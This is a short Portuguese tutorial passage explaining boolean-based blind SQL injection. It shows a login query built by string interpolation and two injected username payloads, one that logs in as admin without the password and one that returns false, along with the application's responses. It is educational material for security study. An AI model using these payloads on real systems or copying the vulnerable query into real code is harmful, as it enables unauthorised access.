SQLi

Blind SQL Injection

Blind SQL Injection

Quando estamos perante uma vulnerabilidade Blind SQL Injection, os erros gerados na query SQL não são mostrados pela aplicação web. Assim sendo, temos que através da forma como a aplicação se comporta, perceber se a nossa injeção SQL está ou não a ser interpretada e executada:

Técnica: Boolean Based
Query: SELECT * FROM accounts WHERE username='$username' AND password = '$password'

Injeção 1: admin' AND 1=1 # **—>** retorna sempre um "true"
Resultado: SELECT * FROM accounts WHERE username='admin' AND 1=1 #' AND password = '$password'
Resposta Aplicação: Login bem sucedido

Injeção 2: admin' AND 1=2 # **—>** retorna sempre um "false"
Resultado: SELECT * FROM accounts WHERE username='admin' AND 1=2 #' AND password = '$password'
Resposta Aplicação: **Credenciais Inválidas**